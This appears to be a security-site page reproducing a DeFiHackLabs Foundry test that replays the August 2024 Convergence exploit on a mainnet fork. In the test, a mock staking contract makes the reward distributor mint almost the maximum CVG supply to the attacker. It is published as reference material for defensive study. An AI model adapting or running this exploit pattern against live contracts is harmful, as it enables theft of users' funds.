Skip to content
THREATWIRE

Public reproduction file

src/test/2024-08/Convergence_exp.sol

Public reproduction file for dataset entry Convergence.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-08/Convergence_exp.sol78 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~200k USD
8// TX : https://etherscan.io/tx/0x636be30e58acce0629b2bf975b5c3133840cd7d41ffc3b903720c528f01c65d9
9// Original Attacker: https://etherscan.io/address/0x03560a9d7a2c391fb1a087c33650037ae30de3aa
10// Original Attack Contract : https://etherscan.io/address/0xee45384d4861b6fb422dfa03fbdcc6e29d7beb69
11// GUY : https://x.com/DecurityHQ/status/1819030089012527510
13interface ICommonStruct {
14 struct TokenAmount {
15 IERC20 token;
16 uint256 amount;
17 }
20interface ICvxStakingPositionService {
21 function claimCvgCvxMultiple(
22 address account
23 ) external returns (uint256, ICommonStruct.TokenAmount[] memory);
26interface ICvxRewardDistributor {
27 function claimMultipleStaking(
28 ICvxStakingPositionService[] calldata claimContracts,
29 address _account,
30 uint256 _minCvgCvxAmountOut,
31 bool _isConvert,
32 uint256 cvxRewardCount
33 ) external;
36interface ICurveTwocryptoOptimized {
37 function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);
40contract ContractTest is Test {
41 ICvxRewardDistributor cvxRewardDistributor = ICvxRewardDistributor(0x2b083beaaC310CC5E190B1d2507038CcB03E7606);
42 IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);
43 ICurveTwocryptoOptimized CVGETH = ICurveTwocryptoOptimized(0x004C167d27ADa24305b76D80762997Fa6EB8d9B2);
44 ICurveTwocryptoOptimized CVGFRAX = ICurveTwocryptoOptimized(0xa7B0E924c2dBB9B4F576CCE96ac80657E42c3e42);
46 function setUp() public {
47 vm.createSelectFork("mainnet", 20_434_450 - 1);
48 }
50 function testExploit() external {
51 Mock mock = new Mock();
53 ICvxStakingPositionService[] memory claimContracts = new ICvxStakingPositionService[](1);
54 claimContracts[0] = ICvxStakingPositionService(address(mock));
56 CVG.totalSupply();
58 cvxRewardDistributor.claimMultipleStaking(claimContracts, address(this), 1, true, 1);
60 uint256 cvg_bal = CVG.balanceOf(address(this));
62 emit log_named_decimal_uint("[End] Attacker CVG balance after exploit", cvg_bal, 18);
63 }
65 receive() external payable {}
68contract Mock {
69 IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);
71 function claimCvgCvxMultiple(
72 address account
73 ) external returns (uint256, ICommonStruct.TokenAmount[] memory) {
74 ICommonStruct.TokenAmount[] memory tokenAmount = new ICommonStruct.TokenAmount[](0);
76 return (type(uint256).max - CVG.totalSupply(), tokenAmount);
77 }

Analysis

Dataset entry

Public Foundry test for “Convergence” (2024-08-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Convergence
Path
src/test/2024-08/Convergence_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4f060904846e1915f36acf750b5f4b3341d78aa9
Language
Solidity
Size
79 lines
Date
2024-08-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-08/Convergence_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4f060904846e1915f36acf750b5f4b3341d78aa9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.